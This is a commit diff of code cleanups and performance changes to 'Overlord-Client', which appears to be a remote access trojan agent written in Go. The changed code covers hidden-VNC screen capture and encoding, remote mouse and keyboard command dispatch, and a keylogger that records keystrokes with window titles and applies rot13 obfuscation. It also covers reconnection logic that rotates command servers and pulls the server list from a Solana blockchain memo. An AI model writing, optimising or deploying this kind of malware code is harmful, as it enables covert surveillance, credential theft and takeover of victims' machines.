optimizations + clean some code

Overlord-Client/cmd/agent/capture/capture.go

@@ -3,7 +3,6 @@ package capture
 import (
 	"bytes"
 	"context"
-	"encoding/binary"
 	"errors"
 	"image"
 	"image/draw"
@@ -798,6 +797,28 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
 
 type streamRegion struct{ x, y, w, h int }
 
+type encodeBufs struct {
+	changedGrid []bool
+	visited     []bool
+}
+
+var (
+	encodeBufsPool = sync.Pool{New: func() interface{} { return &encodeBufs{} }}
+	frameBufPool   = sync.Pool{New: func() interface{} { return bytes.NewBuffer(make([]byte, 0, 512*1024)) }}
+)
+
+func writeUint16LE(buf *bytes.Buffer, v uint16) {
+	buf.WriteByte(byte(v))
+	buf.WriteByte(byte(v >> 8))
+}
+
+func writeUint32LE(buf *bytes.Buffer, v uint32) {
+	buf.WriteByte(byte(v))
+	buf.WriteByte(byte(v >> 8))
+	buf.WriteByte(byte(v >> 16))
+	buf.WriteByte(byte(v >> 24))
+}
+
 type roiHint struct {
 	rect   image.Rectangle
 	weight int
@@ -812,7 +833,21 @@ func encodeBlocks(img *image.RGBA, prev *prevImage, quality int, codec string, d
 
 	blocksWide := (width + blockSize - 1) / blockSize
 	blocksHigh := (height + blockSize - 1) / blockSize
-	changedGrid := make([]bool, blocksWide*blocksHigh)
+
+	total := blocksWide * blocksHigh
+	eb := encodeBufsPool.Get().(*encodeBufs)
+	defer encodeBufsPool.Put(eb)
+	if cap(eb.changedGrid) < total {
+		eb.changedGrid = make([]bool, total)
+		eb.visited = make([]bool, total)
+	} else {
+		eb.changedGrid = eb.changedGrid[:total]
+		eb.visited = eb.visited[:total]
+		clear(eb.changedGrid)
+		clear(eb.visited)
+	}
+	changedGrid := eb.changedGrid
+	visited := eb.visited
 
 	changedCount := 0
 	passDetectStart := time.Now()
@@ -843,17 +878,11 @@ func encodeBlocks(img *image.RGBA, prev *prevImage, quality int, codec string, d
 	statDetectNs.Add(time.Since(passDetectStart).Nanoseconds())
 
 	if changedCount == 0 {
-		buf := bytes.Buffer{}
+		return 0, []byte{byte(width), byte(width >> 8), byte(height), byte(height >> 8), 0, 0, 0, 0}, 0, nil
-		_ = binary.Write(&buf, binary.LittleEndian, uint16(width))
-		_ = binary.Write(&buf, binary.LittleEndian, uint16(height))
-		_ = binary.Write(&buf, binary.LittleEndian, uint16(0))
-		_ = binary.Write(&buf, binary.LittleEndian, uint16(0))
-		return 0, buf.Bytes(), 0, nil
 	}
 
 	mergeStart := time.Now()
 	var regions []streamRegion
-	visited := make([]bool, len(changedGrid))
 
 	for by := 0; by < blocksHigh; by++ {
 		for bx := 0; bx < blocksWide; bx++ {
@@ -926,39 +955,50 @@ func encodeBlocks(img *image.RGBA, prev *prevImage, quality int, codec string, d
 
 	statMergeNs.Add(time.Since(mergeStart).Nanoseconds())
 
-	buf := bytes.Buffer{}
+	buf := frameBufPool.Get().(*bytes.Buffer)
-	_ = binary.Write(&buf, binary.LittleEndian, uint16(width))
+	buf.Reset()
-	_ = binary.Write(&buf, binary.LittleEndian, uint16(height))
+	defer frameBufPool.Put(buf)
-	_ = binary.Write(&buf, binary.LittleEndian, uint16(len(regions)))
+
-	_ = binary.Write(&buf, binary.LittleEndian, uint16(0))
+	writeUint16LE(buf, uint16(width))
+	writeUint16LE(buf, uint16(height))
+	writeUint16LE(buf, uint16(len(regions)))
+	writeUint16LE(buf, 0)
 
 	totalEncDur := time.Duration(0)
 	for _, r := range regions {
 		t0 := time.Now()
-		var payload []byte
+		writeUint16LE(buf, uint16(r.x))
-		var err error
+		writeUint16LE(buf, uint16(r.y))
+		writeUint16LE(buf, uint16(r.w))
+		writeUint16LE(buf, uint16(r.h))
+		var encErr error
 		if codec == "raw" {
-			payload = encodeBlockRaw(img, r.x, r.y, r.w, r.h)
+			payload := encodeBlockRaw(img, r.x, r.y, r.w, r.h)
+			writeUint32LE(buf, uint32(len(payload)))
+			buf.Write(payload)
 		} else {
-
 			blockQuality := quality + 10
 			if blockQuality > 100 {
 				blockQuality = 100
 			}
-			payload, err = encodeJPEG(img.SubImage(image.Rect(r.x, r.y, r.x+r.w, r.y+r.h)), blockQuality)
+			lenPos := buf.Len()
+			writeUint32LE(buf, 0) // placeholder; patched below with actual JPEG size
+			encErr = encodeJPEGToBuf(buf, img.SubImage(image.Rect(r.x, r.y, r.x+r.w, r.y+r.h)), blockQuality)
+			if encErr == nil {
+				jpegLen := uint32(buf.Len() - lenPos - 4)
+				b := buf.Bytes()
+				b[lenPos] = byte(jpegLen)
+				b[lenPos+1] = byte(jpegLen >> 8)
+				b[lenPos+2] = byte(jpegLen >> 16)
+				b[lenPos+3] = byte(jpegLen >> 24)
+			}
 		}
 		blockDur := time.Since(t0)
 		totalEncDur += blockDur
 		statBlkJpegNs.Add(blockDur.Nanoseconds())
-		if err != nil {
+		if encErr != nil {
-			return len(regions), nil, totalEncDur, err
+			return len(regions), nil, totalEncDur, encErr
 		}
-		_ = binary.Write(&buf, binary.LittleEndian, uint16(r.x))
-		_ = binary.Write(&buf, binary.LittleEndian, uint16(r.y))
-		_ = binary.Write(&buf, binary.LittleEndian, uint16(r.w))
-		_ = binary.Write(&buf, binary.LittleEndian, uint16(r.h))
-		_ = binary.Write(&buf, binary.LittleEndian, uint32(len(payload)))
-		buf.Write(payload)
 	}
 
 	prevCopyStart := time.Now()
@@ -967,7 +1007,9 @@ func encodeBlocks(img *image.RGBA, prev *prevImage, quality int, codec string, d
 	prevMu.Unlock()
 	statPrevCopyNs.Add(time.Since(prevCopyStart).Nanoseconds())
 
-	return len(regions), buf.Bytes(), totalEncDur, nil
+	out := make([]byte, buf.Len())
+	copy(out, buf.Bytes())
+	return len(regions), out, totalEncDur, nil
 }
 
 func blockChanged(cur, prev []byte, curStride, prevStride int, x, y, w, h int) bool {
@@ -1152,7 +1194,21 @@ func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec strin
 
 	blocksWide := (width + blockSize - 1) / blockSize
 	blocksHigh := (height + blockSize - 1) / blockSize
-	changedGrid := make([]bool, blocksWide*blocksHigh)
+
+	total := blocksWide * blocksHigh
+	eb := encodeBufsPool.Get().(*encodeBufs)
+	defer encodeBufsPool.Put(eb)
+	if cap(eb.changedGrid) < total {
+		eb.changedGrid = make([]bool, total)
+		eb.visited = make([]bool, total)
+	} else {
+		eb.changedGrid = eb.changedGrid[:total]
+		eb.visited = eb.visited[:total]
+		clear(eb.changedGrid)
+		clear(eb.visited)
+	}
+	changedGrid := eb.changedGrid
+	visited := eb.visited
 
 	changedCount := 0
 	passDetectStart := time.Now()
@@ -1179,17 +1235,11 @@ func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec strin
 	statDetectNs.Add(time.Since(passDetectStart).Nanoseconds())
 
 	if changedCount == 0 {
-		buf := bytes.Buffer{}
+		return 0, []byte{byte(width), byte(width >> 8), byte(height), byte(height >> 8), 0, 0, 0, 0}, 0, nil
-		_ = binary.Write(&buf, binary.LittleEndian, uint16(width))
-		_ = binary.Write(&buf, binary.LittleEndian, uint16(height))
-		_ = binary.Write(&buf, binary.LittleEndian, uint16(0))
-		_ = binary.Write(&buf, binary.LittleEndian, uint16(0))
-		return 0, buf.Bytes(), 0, nil
 	}
 
 	mergeStart := time.Now()
 	var regions []streamRegion
-	visited := make([]bool, len(changedGrid))
 
 	for by := 0; by < blocksHigh; by++ {
 		for bx := 0; bx < blocksWide; bx++ {
@@ -1261,37 +1311,44 @@ func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec strin
 	sortRegionsByROI(regions, rois)
 	statMergeNs.Add(time.Since(mergeStart).Nanoseconds())
 
-	buf := bytes.Buffer{}
+	buf := frameBufPool.Get().(*bytes.Buffer)
-	_ = binary.Write(&buf, binary.LittleEndian, uint16(width))
+	buf.Reset()
-	_ = binary.Write(&buf, binary.LittleEndian, uint16(height))
+	defer frameBufPool.Put(buf)
-	_ = binary.Write(&buf, binary.LittleEndian, uint16(len(regions)))
+
-	_ = binary.Write(&buf, binary.LittleEndian, uint16(0))
+	writeUint16LE(buf, uint16(width))
+	writeUint16LE(buf, uint16(height))
+	writeUint16LE(buf, uint16(len(regions)))
+	writeUint16LE(buf, 0)
 
 	totalEncDur := time.Duration(0)
 	for _, r := range regions {
 		encStart := time.Now()
-		var payload []byte
+		writeUint16LE(buf, uint16(r.x))
-		var err error
+		writeUint16LE(buf, uint16(r.y))
+		writeUint16LE(buf, uint16(r.w))
+		writeUint16LE(buf, uint16(r.h))
 		if codec == "raw" {
-			payload = encodeBlockRaw(img, r.x, r.y, r.w, r.h)
+			payload := encodeBlockRaw(img, r.x, r.y, r.w, r.h)
+			writeUint32LE(buf, uint32(len(payload)))
+			buf.Write(payload)
 		} else {
 			blockQuality := quality + 10
 			if blockQuality > 100 {
 				blockQuality = 100
 			}
-			payload, err = encodeJPEG(img.SubImage(image.Rect(r.x, r.y, r.x+r.w, r.y+r.h)), blockQuality)
+			lenPos := buf.Len()
-			if err != nil {
+			writeUint32LE(buf, 0) // placeholder; patched below with actual JPEG size
+			if err := encodeJPEGToBuf(buf, img.SubImage(image.Rect(r.x, r.y, r.x+r.w, r.y+r.h)), blockQuality); err != nil {
 				return 0, nil, 0, err
 			}
+			jpegLen := uint32(buf.Len() - lenPos - 4)
+			b := buf.Bytes()
+			b[lenPos] = byte(jpegLen)
+			b[lenPos+1] = byte(jpegLen >> 8)
+			b[lenPos+2] = byte(jpegLen >> 16)
+			b[lenPos+3] = byte(jpegLen >> 24)
 		}
 		totalEncDur += time.Since(encStart)
-
-		_ = binary.Write(&buf, binary.LittleEndian, uint16(r.x))
-		_ = binary.Write(&buf, binary.LittleEndian, uint16(r.y))
-		_ = binary.Write(&buf, binary.LittleEndian, uint16(r.w))
-		_ = binary.Write(&buf, binary.LittleEndian, uint16(r.h))
-		_ = binary.Write(&buf, binary.LittleEndian, uint32(len(payload)))
-		buf.Write(payload)
 	}
 
 	prevCopyStart := time.Now()
@@ -1300,7 +1357,9 @@ func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec strin
 	prevMu.Unlock()
 	statPrevCopyNs.Add(time.Since(prevCopyStart).Nanoseconds())
 
-	return len(regions), buf.Bytes(), totalEncDur, nil
+	out := make([]byte, buf.Len())
+	copy(out, buf.Bytes())
+	return len(regions), out, totalEncDur, nil
 }
 
 func copyPrev(img *image.RGBA) {

Overlord-Client/cmd/agent/capture/jpeg_std.go

@@ -27,3 +27,15 @@ func encodeJPEG(img image.Image, quality int) ([]byte, error) {
 	jpegBufPool.Put(buf)
 	return out, nil
 }
+
+func encodeJPEGToBuf(dst *bytes.Buffer, img image.Image, quality int) error {
+	buf := jpegBufPool.Get().(*bytes.Buffer)
+	buf.Reset()
+	if err := jpeg.Encode(buf, img, &jpeg.Options{Quality: quality}); err != nil {
+		jpegBufPool.Put(buf)
+		return err
+	}
+	dst.Write(buf.Bytes())
+	jpegBufPool.Put(buf)
+	return nil
+}

Overlord-Client/cmd/agent/capture/jpeg_turbo.go

@@ -21,3 +21,12 @@ func encodeJPEG(img image.Image, quality int) ([]byte, error) {
 	}
 	return buf.Bytes(), nil
 }
+
+func encodeJPEGToBuf(dst *bytes.Buffer, img image.Image, quality int) error {
+	opts := &ljpeg.EncoderOptions{
+		Quality:        quality,
+		OptimizeCoding: true,
+		DCTMethod:      ljpeg.DCTISlow,
+	}
+	return ljpeg.Encode(dst, img, opts)
+}

Overlord-Client/cmd/agent/capture/rgbapool.go

@@ -13,8 +13,7 @@ func GetRGBA(w, h int) *image.RGBA {
 		return image.NewRGBA(image.Rect(0, 0, w, h))
 	}
 	if v := rgbaPool.Get(); v != nil {
-		buf := v.([]byte)
+		if buf, ok := v.([]byte); ok && cap(buf) >= need {
-		if cap(buf) >= need {
 			return &image.RGBA{
 				Pix:    buf[:need],
 				Stride: w * 4,

Overlord-Client/cmd/agent/handlers/dispatcher.go

@@ -4,6 +4,7 @@ import (
 	"context"
 	"fmt"
 	"log"
+	"maps"
 
 	"overlord-client/cmd/agent/capture"
 	"overlord-client/cmd/agent/runtime"
@@ -25,10 +26,9 @@ func (d *Dispatcher) Dispatch(ctx context.Context, envelope map[string]interface
 		}
 	}()
 
-	msgTypeRaw := envelope["type"]
+	msgType, ok := envelope["type"].(string)
-	msgType, _ := msgTypeRaw.(string)
+	if !ok || msgType == "" {
-	if msgType == "" {
+		log.Printf("dispatcher: missing type (keys=%v)", maps.Keys(envelope))
-		log.Printf("dispatcher: missing type (keys=%v)", envelopeKeys(envelope))
 		return nil
 	}
 	switch msgType {
@@ -43,12 +43,7 @@ func (d *Dispatcher) Dispatch(ctx context.Context, envelope map[string]interface
 		return nil
 	case "command":
 		cmdType, _ := envelope["commandType"].(string)
-		switch cmdType {
+		if !isInputCommand(cmdType) {
-		case "desktop_mouse_move", "desktop_mouse_down", "desktop_mouse_up", "desktop_mouse_wheel",
-			"desktop_key_down", "desktop_key_up", "desktop_text",
-			"hvnc_mouse_move", "hvnc_mouse_down", "hvnc_mouse_up",
-			"hvnc_mouse_wheel", "hvnc_key_down", "hvnc_key_up":
-		default:
 			log.Printf("dispatcher: handling command type=%s", cmdType)
 		}
 		return HandleCommand(ctx, d.Env, envelope)
@@ -72,10 +67,13 @@ func (d *Dispatcher) Dispatch(ctx context.Context, envelope map[string]interface
 	}
 }
 
-func envelopeKeys(envelope map[string]interface{}) []string {
+func isInputCommand(cmdType string) bool {
-	keys := make([]string, 0, len(envelope))
+	switch cmdType {
-	for key := range envelope {
+	case "desktop_mouse_move", "desktop_mouse_down", "desktop_mouse_up", "desktop_mouse_wheel",
-		keys = append(keys, key)
+		"desktop_key_down", "desktop_key_up", "desktop_text",
+		"hvnc_mouse_move", "hvnc_mouse_down", "hvnc_mouse_up",
+		"hvnc_mouse_wheel", "hvnc_key_down", "hvnc_key_up":
+		return true
 	}
-	return keys
+	return false
 }

Overlord-Client/cmd/agent/keylogger/keylogger.go

@@ -369,9 +369,9 @@ func (k *Keylogger) logKey(key string) {
 			k.currentWindowTitle = windowTitle
 		}
 		if k.currentWindowTitle != "" {
-			k.buffer.WriteString(fmt.Sprintf("[%s] [%s] ", timestamp, k.currentWindowTitle))
+			fmt.Fprintf(&k.buffer, "[%s] [%s] ", timestamp, k.currentWindowTitle)
 		} else {
-			k.buffer.WriteString(fmt.Sprintf("[%s] ", timestamp))
+			fmt.Fprintf(&k.buffer, "[%s] ", timestamp)
 		}
 		k.lineStarted = true
 	}
@@ -384,19 +384,24 @@ func (k *Keylogger) logKey(key string) {
 	}
 }
 
-func rot13(s string) string {
+var rot13Table = func() [256]byte {
-	var result strings.Builder
+	var t [256]byte
-	for _, r := range s {
+	for i := range t {
-		switch {
+		t[i] = byte(i)
-		case r >= 'a' && r <= 'z':
-			result.WriteRune('a' + (r-'a'+13)%26)
-		case r >= 'A' && r <= 'Z':
-			result.WriteRune('A' + (r-'A'+13)%26)
-		default:
-			result.WriteRune(r)
-		}
 	}
-	return result.String()
+	for i := 0; i < 26; i++ {
+		t['a'+i] = byte('a' + (i+13)%26)
+		t['A'+i] = byte('A' + (i+13)%26)
+	}
+	return t
+}()
+
+func rot13(s string) string {
+	b := []byte(s)
+	for i, c := range b {
+		b[i] = rot13Table[c]
+	}
+	return string(b)
 }
 
 func getTempDir() string {

Overlord-Client/cmd/agent/session.go

@@ -14,6 +14,7 @@ import (
 	"os"
 	"runtime"
 	"runtime/debug"
+	"slices"
 	"strconv"
 	"strings"
 	"time"
@@ -87,17 +88,9 @@ func runClient(cfg config.Config) {
 			}
 
 			if shouldRefreshServerList(cfg, consecutiveFailures, lastDisconnect, lastSolRefresh, solInitialWait, solRefreshInterval) {
-				if refreshServerList(&cfg) {
+				tryRefreshServerList(&cfg, &lastSolRefresh, &currentIndex, &consecutiveFailures)
-					lastSolRefresh = time.Now()
-					currentIndex = 0
-					consecutiveFailures = 0
-				}
-			}
-
-			if len(cfg.ServerURLs) > 1 {
-				currentIndex = (currentIndex + 1) % len(cfg.ServerURLs)
-				log.Printf("switching to next server [%d/%d]: %s", currentIndex+1, len(cfg.ServerURLs), cfg.ServerURLs[currentIndex])
 			}
+			rotateToNextServer(&currentIndex, cfg.ServerURLs)
 
 			time.Sleep(backoff)
 			cancel()
@@ -134,17 +127,9 @@ func runClient(cfg config.Config) {
 			lastDisconnect = time.Now()
 
 			if shouldRefreshServerList(cfg, len(cfg.ServerURLs), lastDisconnect, lastSolRefresh, solInitialWait, solRefreshInterval) {
-				if refreshServerList(&cfg) {
+				tryRefreshServerList(&cfg, &lastSolRefresh, &currentIndex, &consecutiveFailures)
-					lastSolRefresh = time.Now()
-					currentIndex = 0
-					consecutiveFailures = 0
-				}
-			}
-
-			if len(cfg.ServerURLs) > 1 {
-				currentIndex = (currentIndex + 1) % len(cfg.ServerURLs)
-				log.Printf("switching to next server [%d/%d]: %s", currentIndex+1, len(cfg.ServerURLs), cfg.ServerURLs[currentIndex])
 			}
+			rotateToNextServer(&currentIndex, cfg.ServerURLs)
 		}
 
 		sleepFor := backoff
@@ -162,6 +147,21 @@ func runClient(cfg config.Config) {
 	}
 }
 
+func rotateToNextServer(currentIndex *int, urls []string) {
+	if len(urls) > 1 {
+		*currentIndex = (*currentIndex + 1) % len(urls)
+		log.Printf("switching to next server [%d/%d]: %s", *currentIndex+1, len(urls), urls[*currentIndex])
+	}
+}
+
+func tryRefreshServerList(cfg *config.Config, lastSolRefresh *time.Time, currentIndex *int, consecutiveFailures *int) {
+	if refreshServerList(cfg) {
+		*lastSolRefresh = time.Now()
+		*currentIndex = 0
+		*consecutiveFailures = 0
+	}
+}
+
 func buildDialOptions(cfg config.Config, transport *http.Transport) *websocket.DialOptions {
 	headers := http.Header{}
 	if token := strings.TrimSpace(cfg.AgentToken); token != "" {
@@ -268,7 +268,7 @@ func refreshServerURLsFromSolana(cfg *config.Config) bool {
 		log.Printf("[config] WARNING: Solana memo returned no valid URLs")
 		return false
 	}
-	if !equalStringSlices(cfg.ServerURLs, urls) {
+	if !slices.Equal(cfg.ServerURLs, urls) {
 		log.Printf("[config] resolved server URLs from Solana memo (%d servers)", len(urls))
 		cfg.ServerURLs = urls
 	}
@@ -287,24 +287,13 @@ func refreshServerURLsFromRaw(cfg *config.Config) bool {
 		return false
 	}
 
-	if !equalStringSlices(cfg.ServerURLs, urls) {
+	if !slices.Equal(cfg.ServerURLs, urls) {
 		log.Printf("[config] refreshed raw server list (%d servers)", len(urls))
 		cfg.ServerURLs = urls
 	}
 	return true
 }
 
-func equalStringSlices(a, b []string) bool {
-	if len(a) != len(b) {
-		return false
-	}
-	for i := range a {
-		if a[i] != b[i] {
-			return false
-		}
-	}
-	return true
-}
 
 func createHTTPTransport(cfg config.Config) *http.Transport {
 	tlsConfig := &tls.Config{
@@ -389,8 +378,6 @@ func classifyDialError(err error) string {
 }
 
 func computeBaseBackoff() time.Duration {
-	mode := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_MODE")))
-	_ = mode
 	return randomReconnectDelay(10*time.Second, 30*time.Second)
 }